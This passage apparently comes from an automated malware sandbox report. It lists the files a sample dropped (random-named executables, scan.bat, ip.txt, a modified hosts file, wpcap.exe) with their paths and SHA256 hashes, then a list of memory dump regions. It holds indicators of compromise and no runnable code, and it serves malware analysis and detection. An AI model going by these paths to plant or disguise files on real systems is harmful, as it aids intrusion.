                                                                                                                                          • Path C:\Windows\rbggpfcfq\uvnzszfjl\clmskurrz.exe
                                                                                                                                          • Size 332KB
                                                                                                                                          • SHA256 4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          ip.txt

                                                                                                                                          • Path C:\Windows\rbggpfcfq\uvnzszfjl\ip.txt
                                                                                                                                          • Size 160B
                                                                                                                                          • SHA256 2acd2823bb15427b9aab7e21e9ebd54d4ab5abd19ec44e423c8a3b84dad1009b
                                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                                          scan.bat

                                                                                                                                          • Path C:\Windows\rbggpfcfq\uvnzszfjl\scan.bat
                                                                                                                                          • Size 160B
                                                                                                                                          • SHA256 19efce45b30d08ceaa9075f5f15dee806ec2d858dc28461e8bc24500b119a53f
                                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                                          hosts

                                                                                                                                          • Path C:\Windows\system32\drivers\etc\hosts
                                                                                                                                          • Size 975B
                                                                                                                                          • SHA256 a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
                                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                                          System.dll

                                                                                                                                          • Path \Windows\Temp\nse2D4A.tmp\System.dll
                                                                                                                                          • Size 11KB
                                                                                                                                          • SHA256 681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          nsExec.dll

                                                                                                                                          • Path \Windows\Temp\nse2D4A.tmp\nsExec.dll
                                                                                                                                          • Size 6KB
                                                                                                                                          • SHA256 3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          rilkvsrev.exe

                                                                                                                                          • Path \Windows\Temp\rbggpfcfq\rilkvsrev.exe
                                                                                                                                          • Size 126KB
                                                                                                                                          • SHA256 a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          vfshost.exe

                                                                                                                                          • Path \Windows\rbggpfcfq\Corporate\vfshost.exe
                                                                                                                                          • Size 381KB
                                                                                                                                          • SHA256 441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          wpcap.exe

                                                                                                                                          • Path \Windows\rbggpfcfq\uvnzszfjl\wpcap.exe
                                                                                                                                          • Size 424KB
                                                                                                                                          • SHA256 7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          pfseynr.exe

                                                                                                                                          • Path \Windows\ykuemqcz\pfseynr.exe
                                                                                                                                          • Size 7.1MB
                                                                                                                                          • SHA256 6b4e1258bbd3ca8685243bad42b5bf6f3132288a40cd9cb2a2fa0ca7551a1c1f
                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                          memory/1012-239-0x00000000012A0000-0x00000000012B2000-memory.dmp

                                                                                                                                          memory/1512-74-0x0000000000300000-0x000000000034C000-memory.dmp

                                                                                                                                          memory/1672-180-0x000000013F250000-0x000000013F2AB000-memory.dmp

                                                                                                                                          memory/1672-164-0x000000013F250000-0x000000013F2AB000-memory.dmp

                                                                                                                                          memory/1792-142-0x000000013F7E0000-0x000000013F83B000-memory.dmp

                                                                                                                                          memory/1792-158-0x000000013F7E0000-0x000000013F83B000-memory.dmp

                                                                                                                                          memory/1792-149-0x000000013F7E0000-0x000000013F83B000-memory.dmp

                                                                                                                                          memory/1972-240-0x00000000012A0000-0x00000000012B2000-memory.dmp

                                                                                                                                          memory/2060-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                                                                                                          memory/2560-218-0x000000013F400000-0x000000013F45B000-memory.dmp

                                                                                                                                          memory/2560-220-0x000000013F400000-0x000000013F45B000-memory.dmp

                                                                                                                                          memory/2576-225-0x0000000001040000-0x000000000109B000-memory.dmp

                                                                                                                                          memory/2576-157-0x0000000002C00000-0x0000000002D20000-memory.dmp

                                                                                                                                          memory/2576-217-0x0000000001A70000-0x0000000001ACB000-memory.dmp

                                                                                                                                          memory/2576-162-0x0000000002540000-0x000000000259B000-memory.dmp

                                                                                                                                          memory/2576-141-0x0000000002540000-0x000000000259B000-memory.dmp

                                                                                                                                          memory/2576-224-0x0000000001040000-0x000000000109B000-memory.dmp

                                                                                                                                          memory/2576-222-0x0000000001040000-0x000000000109B000-memory.dmp

                                                                                                                                          memory/2576-151-0x0000000002540000-0x000000000259B000-memory.dmp

                                                                                                                                          memory/2576-146-0x0000000002C00000-0x0000000002D20000-memory.dmp

                                                                                                                                          memory/2576-208-0x0000000002540000-0x000000000259B000-memory.dmp

                                                                                                                                          memory/2576-242-0x0000000001A70000-0x0000000001ACB000-memory.dmp

                                                                                                                                          memory/2612-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                                                                                                          memory/2648-174-0x0000000010000000-0x0000000010008000-memory.dmp

                                                                                                                                          memory/2744-199-0x000000013FFF0000-0x000000014004B000-memory.dmp

                                                                                                                                          memory/2744-197-0x000000013FFF0000-0x000000014004B000-memory.dmp

                                                                                                                                          memory/2748-147-0x000000013F5B0000-0x000000013F6D0000-memory.dmp

                                                                                                                                          memory/2748-223-0x000000013F5B0000-0x000000013F6D0000-memory.dmp

                                                                                                                                          memory/2748-153-0x0000000000310000-0x0000000000320000-memory.dmp

                                                                                                                                          memory/2748-150-0x000000013F5B0000-0x000000013F6D0000-memory.dmp

                                                                                                                                          memory/2748-250-0x000000013F5B0000-0x000000013F6D0000-memory.dmp

                                                                                                                                          memory/2748-246-0x000000013F5B0000-0x000000013F6D0000-memory.dmp

                                                                                                                                          memory/2748-213-0x000000013F5B0000-0x000000013F6D0000-memory.dmp

                                                                                                                                          memory/2748-241-0x000000013F5B0000-0x000000013F6D0000-memory.dmp

                                                                                                                                          memory/2748-189-0x000000013F5B0000-0x000000013F6D0000-memory.dmp

                                                                                                                                          memory/2748-154-0x000000013F5B0000-0x000000013F6D0000-memory.dmp

                                                                                                                                          memory/2748-244-0x000000013F5B0000-0x000000013F6D0000-memory.dmp

                                                                                                                                          memory/2748-243-0x000000013F5B0000-0x000000013F6D0000-memory.dmp

                                                                                                                                          memory/2748-155-0x0000000000320000-0x0000000000324000-memory.dmp

                                                                                                                                          memory/2772-209-0x000000013FA80000-0x000000013FADB000-memory.dmp

                                                                                                                                          memory/2772-211-0x000000013FA80000-0x000000013FADB000-memory.dmp

                                                                                                                                          memory/2796-190-0x000000013FD00000-0x000000013FD5B000-memory.dmp

                                                                                                                                          memory/2796-192-0x000000013FD00000-0x000000013FD5B000-memory.dmp

                                                                                                                                          memory/2832-134-0x000000013F3F0000-0x000000013F4DE000-memory.dmp

                                                                                                                                          memory/2832-136-0x000000013F3F0000-0x000000013F4DE000-memory.dmp

                                                                                                                                          memory/2948-133-0x0000000000D50000-0x0000000000E3E000-memory.dmp

                                                                                                                                          memory/2948-132-0x0000000000D50000-0x0000000000E3E000-memory.dmp